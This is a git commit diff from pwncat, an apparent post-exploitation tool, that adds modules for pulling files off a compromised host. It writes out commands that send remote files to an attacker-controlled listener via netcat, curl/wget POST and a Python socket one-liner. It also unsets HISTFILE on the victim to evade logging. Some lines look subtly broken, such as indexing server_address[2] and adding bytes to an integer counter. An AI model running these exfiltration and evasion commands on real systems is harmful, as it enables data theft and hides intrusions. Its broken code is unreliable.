mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Initial framework for downloaders present
This commit is contained in:
parent
4ca3151580
commit
5801895cba
@ -99,7 +99,7 @@ def main():
|
|||||||
except ConnectionResetError:
|
except ConnectionResetError:
|
||||||
handler.restore()
|
handler.restore()
|
||||||
util.warn("connection reset by remote host")
|
util.warn("connection reset by remote host")
|
||||||
else:
|
finally:
|
||||||
# Restore the shell
|
# Restore the shell
|
||||||
handler.restore()
|
handler.restore()
|
||||||
|
|
||||||
|
31
pwncat/downloader/__init__.py
Normal file
31
pwncat/downloader/__init__.py
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from pwncat.downloader.base import Downloader, DownloadError
|
||||||
|
from pwncat.downloader.nc import NetcatDownloader
|
||||||
|
from pwncat.downloader.curl import CurlDownloader
|
||||||
|
from pwncat.downloader.shell import ShellDownloader
|
||||||
|
|
||||||
|
all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader]
|
||||||
|
downloaders = [NetcatDownloader, CurlDownloader]
|
||||||
|
fallback = ShellDownloader
|
||||||
|
|
||||||
|
|
||||||
|
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
|
||||||
|
""" Locate an applicable downloader """
|
||||||
|
|
||||||
|
if hint is not None:
|
||||||
|
""" Try to return the requested downloader """
|
||||||
|
for d in all_downloaders:
|
||||||
|
if d.NAME != hint:
|
||||||
|
continue
|
||||||
|
d.check(pty)
|
||||||
|
return d
|
||||||
|
|
||||||
|
for d in downloaders:
|
||||||
|
try:
|
||||||
|
d.check(pty)
|
||||||
|
return d
|
||||||
|
except DownloadError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
raise DownloadError("no acceptable downloaders found")
|
150
pwncat/downloader/base.py
Normal file
150
pwncat/downloader/base.py
Normal file
@ -0,0 +1,150 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from typing import Generator, Callable
|
||||||
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
from socketserver import TCPServer, BaseRequestHandler
|
||||||
|
from functools import partial
|
||||||
|
import threading
|
||||||
|
|
||||||
|
from pwncat import util
|
||||||
|
|
||||||
|
|
||||||
|
class DownloadError(Exception):
|
||||||
|
""" An error occurred while attempting to run a downloader """
|
||||||
|
|
||||||
|
|
||||||
|
class Downloader:
|
||||||
|
|
||||||
|
# Binaries which are needed on the remote host for this downloader
|
||||||
|
BINARIES = []
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||||
|
""" Check if the given PTY connection can support this downloader """
|
||||||
|
for binary in cls.BINARIES:
|
||||||
|
if pty.which(binary) is None:
|
||||||
|
raise DownloadError(f"required remote binary not found: {binary}")
|
||||||
|
|
||||||
|
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||||
|
self.pty = pty
|
||||||
|
self.local_path = local_path
|
||||||
|
self.remote_path = remote_path
|
||||||
|
|
||||||
|
def command(self) -> Generator[str, None, None]:
|
||||||
|
""" Generate the commands needed to send this file back. This is a
|
||||||
|
generator, which yields strings which will be executed on the remote
|
||||||
|
host. """
|
||||||
|
return
|
||||||
|
|
||||||
|
def serve(self, on_progress: Callable):
|
||||||
|
""" Start any servers on the local end which are needed to download the
|
||||||
|
content. """
|
||||||
|
return
|
||||||
|
|
||||||
|
def shutdown(self):
|
||||||
|
""" Shutdown any attacker servers that were started """
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||||
|
def __init__(self, request, addr, server, downloader: "HTTPDownloader"):
|
||||||
|
self.downloader = downloader
|
||||||
|
super(HttpPostFileReceiver, self).__init__(request, addr, server)
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
""" handle http POST request """
|
||||||
|
|
||||||
|
if self.path != "/":
|
||||||
|
self.send_error(404)
|
||||||
|
return
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.end_headers()
|
||||||
|
|
||||||
|
with open(self.downloader.local_path, "wb") as filp:
|
||||||
|
util.copyfileobj(self.rfile, filp, self.downloader.progress)
|
||||||
|
|
||||||
|
def log_message(self, *args, **kwargs):
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
class HTTPDownloader(Downloader):
|
||||||
|
""" Base class for HTTP POST based downloaders. This takes care of setting
|
||||||
|
up the local HTTP server and saving the file. Just provide the commands
|
||||||
|
for the remote host to trigger the upload """
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||||
|
""" Make sure we have an lhost """
|
||||||
|
if pty.vars.get("lhost", None) is None:
|
||||||
|
raise DownloadError("no lhost provided")
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
pty: "pwncat.pty.PtyHandler",
|
||||||
|
remote_path: str,
|
||||||
|
local_path: str,
|
||||||
|
on_progress: Callable = None,
|
||||||
|
):
|
||||||
|
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
|
||||||
|
self.server = None
|
||||||
|
self.on_progress = on_progress
|
||||||
|
|
||||||
|
def serve(self, on_progress: Callable):
|
||||||
|
self.server = HTTPServer(
|
||||||
|
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self)
|
||||||
|
)
|
||||||
|
|
||||||
|
thread = threading.Thread(
|
||||||
|
target=lambda: self.server.serve_forever(), daemon=True
|
||||||
|
)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def shutdown(self):
|
||||||
|
self.server.shutdown()
|
||||||
|
|
||||||
|
|
||||||
|
class RawDownloader(Downloader):
|
||||||
|
""" Base class for raw socket based downloaders. This takes care of setting
|
||||||
|
up the socket server and saving the file. Just provide the commands to
|
||||||
|
initiate the raw socket transfer on the remote host to trigger the
|
||||||
|
upload """
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||||
|
""" Make sure we have an lhost """
|
||||||
|
if pty.vars.get("lhost", None) is None:
|
||||||
|
raise DownloadError("no lhost provided")
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
pty: "pwncat.pty.PtyHandler",
|
||||||
|
remote_path: str,
|
||||||
|
local_path: str,
|
||||||
|
on_progress: Callable = None,
|
||||||
|
):
|
||||||
|
super(RawDownloader, self).__init__(pty, remote_path, local_path)
|
||||||
|
self.server = None
|
||||||
|
self.on_progress = on_progress
|
||||||
|
|
||||||
|
def serve(self, on_progress: Callable):
|
||||||
|
|
||||||
|
# Make sure it is accessible to the subclass
|
||||||
|
local_path = self.local_path
|
||||||
|
|
||||||
|
# Class to handle incoming connections
|
||||||
|
class ReceiveFile(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
self.request.settimeout(1)
|
||||||
|
with open(local_path, "wb") as fp:
|
||||||
|
util.copyfileobj(self.request.makefile("rb"), fp, on_progress)
|
||||||
|
|
||||||
|
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||||
|
|
||||||
|
thread = threading.Thread(
|
||||||
|
target=lambda: self.server.serve_forever(), daemon=True
|
||||||
|
)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def shutdown(self):
|
||||||
|
""" Shutdown the server """
|
||||||
|
self.server.shutdown()
|
20
pwncat/downloader/curl.py
Normal file
20
pwncat/downloader/curl.py
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from typing import Generator
|
||||||
|
import shlex
|
||||||
|
|
||||||
|
from pwncat.downloader.base import HTTPDownloader, DownloadError
|
||||||
|
|
||||||
|
|
||||||
|
class CurlDownloader(HTTPDownloader):
|
||||||
|
|
||||||
|
BINARIES = ["curl"]
|
||||||
|
|
||||||
|
def command(self) -> Generator[str, None, None]:
|
||||||
|
""" Generate the curl command to post the file """
|
||||||
|
|
||||||
|
lhost = self.pty.vars["lhost"]
|
||||||
|
lport = self.server.server_address[2]
|
||||||
|
curl = self.pty.which("curl")
|
||||||
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
|
yield f"{curl} --output {remote_path} http://{lhost}:{lport}"
|
20
pwncat/downloader/nc.py
Normal file
20
pwncat/downloader/nc.py
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from typing import Generator
|
||||||
|
import shlex
|
||||||
|
|
||||||
|
from pwncat.downloader.base import RawDownloader, DownloadError
|
||||||
|
|
||||||
|
|
||||||
|
class NetcatDownloader(RawDownloader):
|
||||||
|
|
||||||
|
BINARIES = ["nc"]
|
||||||
|
|
||||||
|
def command(self) -> Generator[str, None, None]:
|
||||||
|
""" Return the commands needed to trigger this download """
|
||||||
|
|
||||||
|
lhost = self.pty.vars["lhost"]
|
||||||
|
lport = self.server.server_address[2]
|
||||||
|
nc = self.pty.which("nc")
|
||||||
|
remote_file = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
|
yield f"{nc} {lhost} {lport} < {remote_file}"
|
46
pwncat/downloader/shell.py
Normal file
46
pwncat/downloader/shell.py
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from typing import Generator, Callable
|
||||||
|
import base64
|
||||||
|
import shlex
|
||||||
|
|
||||||
|
from pwncat.downloader.base import Downloader, DownloadError
|
||||||
|
|
||||||
|
|
||||||
|
class ShellDownloader(Downloader):
|
||||||
|
|
||||||
|
NAME = "shell"
|
||||||
|
BINARIES = ["dd", "base64"]
|
||||||
|
BLOCKSZ = 8192
|
||||||
|
|
||||||
|
def command(self) -> Generator[str, None, None]:
|
||||||
|
""" Yield list of commands to transfer the file """
|
||||||
|
|
||||||
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
|
with open(self.local_path, "wb") as filp:
|
||||||
|
blocknr = 0
|
||||||
|
copied = 0
|
||||||
|
while True:
|
||||||
|
|
||||||
|
# Read the data
|
||||||
|
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
||||||
|
remote_path, self.BLOCKSZ, blocknr
|
||||||
|
)
|
||||||
|
if x == b"" or x == b"\r\n":
|
||||||
|
break
|
||||||
|
|
||||||
|
# Decode the data
|
||||||
|
data = base64.b64decode(x)
|
||||||
|
|
||||||
|
# Send the data and call the progress function
|
||||||
|
filp.write(data)
|
||||||
|
copied += data
|
||||||
|
self.on_progress(copied, len(data))
|
||||||
|
|
||||||
|
# Increment block number
|
||||||
|
blocknr += 1
|
||||||
|
|
||||||
|
def serve(self, on_progress: Callable):
|
||||||
|
""" We don't need to start a server, but we do need to save the
|
||||||
|
callback """
|
||||||
|
self.on_progress = on_progress
|
@ -1,6 +1,7 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from prompt_toolkit import prompt
|
from prompt_toolkit import prompt, PromptSession
|
||||||
from prompt_toolkit.shortcuts import ProgressBar
|
from prompt_toolkit.shortcuts import ProgressBar
|
||||||
|
import subprocess
|
||||||
import logging
|
import logging
|
||||||
import argparse
|
import argparse
|
||||||
import base64
|
import base64
|
||||||
@ -60,13 +61,20 @@ class PtyHandler:
|
|||||||
self.lhost = None
|
self.lhost = None
|
||||||
self.known_binaries = {}
|
self.known_binaries = {}
|
||||||
self.vars = {"lhost": None}
|
self.vars = {"lhost": None}
|
||||||
|
self.prompt = PromptSession("localhost$ ")
|
||||||
|
|
||||||
|
# We should always get a response within 3 seconds...
|
||||||
|
self.client.settimeout(3)
|
||||||
|
|
||||||
# Ensure history is disabled
|
# Ensure history is disabled
|
||||||
util.info("disabling remote command history", overlay=True)
|
util.info("disabling remote command history", overlay=True)
|
||||||
client.sendall(b"unset HISTFILE\n")
|
client.sendall(b"unset HISTFILE\n")
|
||||||
|
self.recvuntil(b"\n")
|
||||||
|
|
||||||
util.info("setting terminal prompt", overlay=True)
|
util.info("setting terminal prompt", overlay=True)
|
||||||
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')
|
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')
|
||||||
|
self.recvuntil(b"\n")
|
||||||
|
self.recvuntil(b"\n")
|
||||||
|
|
||||||
# Locate interesting binaries
|
# Locate interesting binaries
|
||||||
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
|
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
|
||||||
@ -99,6 +107,9 @@ class PtyHandler:
|
|||||||
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
||||||
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
||||||
|
|
||||||
|
# Make sure HISTFILE is unset in this PTY
|
||||||
|
self.run("unset HISTFILE")
|
||||||
|
|
||||||
# Synchronize the terminals
|
# Synchronize the terminals
|
||||||
util.info("synchronizing terminal state", overlay=True)
|
util.info("synchronizing terminal state", overlay=True)
|
||||||
self.do_sync([])
|
self.do_sync([])
|
||||||
@ -159,27 +170,35 @@ class PtyHandler:
|
|||||||
# Process commands
|
# Process commands
|
||||||
while self.state is State.COMMAND:
|
while self.state is State.COMMAND:
|
||||||
try:
|
try:
|
||||||
line = prompt("localhost$ ")
|
try:
|
||||||
except EOFError:
|
line = self.prompt.prompt()
|
||||||
# The user pressed ctrl-d, go back
|
except (EOFError, OSError):
|
||||||
self.enter_raw()
|
# The user pressed ctrl-d, go back
|
||||||
|
self.enter_raw()
|
||||||
|
continue
|
||||||
|
|
||||||
|
if len(line) > 0 and line[0] == "!":
|
||||||
|
# Allow running shell commands
|
||||||
|
subprocess.run(line[1:], shell=True)
|
||||||
|
continue
|
||||||
|
|
||||||
|
argv = shlex.split(line)
|
||||||
|
|
||||||
|
# Empty command
|
||||||
|
if len(argv) == 0:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
method = getattr(self, f"do_{argv[0]}")
|
||||||
|
except AttributeError:
|
||||||
|
util.warn(f"{argv[0]}: command does not exist")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Call the method
|
||||||
|
method(argv[1:])
|
||||||
|
except KeyboardInterrupt:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
argv = shlex.split(line)
|
|
||||||
|
|
||||||
# Empty command
|
|
||||||
if len(argv) == 0:
|
|
||||||
continue
|
|
||||||
|
|
||||||
try:
|
|
||||||
method = getattr(self, f"do_{argv[0]}")
|
|
||||||
except AttributeError:
|
|
||||||
util.warn(f"{argv[0]}: command does not exist")
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Call the method
|
|
||||||
method(argv[1:])
|
|
||||||
|
|
||||||
def do_back(self, _):
|
def do_back(self, _):
|
||||||
""" Exit command mode """
|
""" Exit command mode """
|
||||||
self.enter_raw(save=False)
|
self.enter_raw(save=False)
|
||||||
@ -187,25 +206,29 @@ class PtyHandler:
|
|||||||
def do_download(self, argv):
|
def do_download(self, argv):
|
||||||
|
|
||||||
uploaders = {
|
uploaders = {
|
||||||
"XXXXX": (
|
"curl": (
|
||||||
"http",
|
"http",
|
||||||
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
"{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
||||||
),
|
),
|
||||||
"XXXX": (
|
"XXXX": (
|
||||||
"http",
|
"http",
|
||||||
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
"{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
||||||
|
),
|
||||||
|
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
|
||||||
|
"python": (
|
||||||
|
"raw",
|
||||||
|
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
|
||||||
),
|
),
|
||||||
"nxc": ("raw", "nc {lhost} {lport} < {remote_file}"),
|
|
||||||
}
|
}
|
||||||
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(prog="upload")
|
parser = argparse.ArgumentParser(prog="download")
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--method",
|
"--method",
|
||||||
"-m",
|
"-m",
|
||||||
choices=uploaders.keys(),
|
choices=uploaders.keys(),
|
||||||
default=None,
|
default=None,
|
||||||
help="set the upload method (default: auto)",
|
help="set the download method (default: auto)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--output",
|
"--output",
|
||||||
@ -235,10 +258,11 @@ class PtyHandler:
|
|||||||
if m in self.known_binaries:
|
if m in self.known_binaries:
|
||||||
util.info(f"downloading via {m}")
|
util.info(f"downloading via {m}")
|
||||||
method = info
|
method = info
|
||||||
|
args.method = m
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
util.warn(
|
util.warn(
|
||||||
"no available upload methods. falling back to dd/base64 method"
|
"no available download methods. falling back to dd/base64 method"
|
||||||
)
|
)
|
||||||
|
|
||||||
path = args.path
|
path = args.path
|
||||||
@ -271,20 +295,23 @@ class PtyHandler:
|
|||||||
server = servers[method[0]](outfile, name, progress=on_progress)
|
server = servers[method[0]](outfile, name, progress=on_progress)
|
||||||
|
|
||||||
command = method[1].format(
|
command = method[1].format(
|
||||||
|
cmd=self.known_binaries[args.method][0],
|
||||||
remote_file=shlex.quote(path),
|
remote_file=shlex.quote(path),
|
||||||
lhost=self.vars["lhost"],
|
lhost=self.vars["lhost"],
|
||||||
lfile=name,
|
lfile=name,
|
||||||
lport=server.server_address[1],
|
lport=server.server_address[1],
|
||||||
)
|
)
|
||||||
print(command)
|
|
||||||
result = self.run(command, wait=False)
|
result = self.run(command, wait=False)
|
||||||
else:
|
else:
|
||||||
server = None
|
server = None
|
||||||
|
path = shlex.quote(path)
|
||||||
with open(outfile, "wb") as fp:
|
with open(outfile, "wb") as fp:
|
||||||
copied = 0
|
copied = 0
|
||||||
for chunk_nr in range(0, size, 8192):
|
blocksz = 1024 * 10
|
||||||
|
for chunk_nr in range(0, size // blocksz):
|
||||||
|
# Send the command
|
||||||
encoded = self.run(
|
encoded = self.run(
|
||||||
f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64"
|
f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
|
||||||
)
|
)
|
||||||
chunk = base64.b64decode(encoded)
|
chunk = base64.b64decode(encoded)
|
||||||
fp.write(chunk)
|
fp.write(chunk)
|
||||||
@ -466,15 +493,17 @@ class PtyHandler:
|
|||||||
# This works by waiting for our known prompt
|
# This works by waiting for our known prompt
|
||||||
self.recvuntil(b"(remote) ")
|
self.recvuntil(b"(remote) ")
|
||||||
try:
|
try:
|
||||||
|
# Read to the end of the prompt
|
||||||
self.recvuntil(b"$ ", socket.MSG_DONTWAIT)
|
self.recvuntil(b"$ ", socket.MSG_DONTWAIT)
|
||||||
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
|
|
||||||
except BlockingIOError:
|
except BlockingIOError:
|
||||||
pass
|
# The prompt may be "#"
|
||||||
|
try:
|
||||||
|
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
|
||||||
|
except BlockingIOError:
|
||||||
|
pass
|
||||||
|
|
||||||
# Surround the output with known delimeters
|
# Send the command to the remote host
|
||||||
# self.client.send(b"echo _OUTPUT_DELIM_START_\r")
|
|
||||||
self.client.send(cmd.encode("utf-8") + EOL)
|
self.client.send(cmd.encode("utf-8") + EOL)
|
||||||
# self.client.send(b"echo -e '" + DELIM_ESCAPED + b"'\r")
|
|
||||||
|
|
||||||
# Initialize response buffer
|
# Initialize response buffer
|
||||||
response = b""
|
response = b""
|
||||||
|
@ -127,10 +127,14 @@ def enter_raw_mode():
|
|||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
# Python doesn't provide a way to use setvbuf, so we reopen stdout
|
# Python doesn't provide a way to use setvbuf, so we reopen stdout
|
||||||
# and specify no buffering
|
# and specify no buffering. Duplicating stdin allows the user to press C-d
|
||||||
old_stdout = sys.stdout
|
# at the local prompt, and still be able to return to the remote prompt.
|
||||||
|
try:
|
||||||
|
os.dup2(sys.stdin.fileno(), sys.stdout.fileno())
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
sys.stdout = TextIOWrapper(
|
sys.stdout = TextIOWrapper(
|
||||||
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
|
os.fdopen(os.dup(sys.stdin.fileno()), "bw", buffering=0),
|
||||||
write_through=True,
|
write_through=True,
|
||||||
line_buffering=False,
|
line_buffering=False,
|
||||||
)
|
)
|
||||||
|
Loading…
Reference in New Issue
Block a user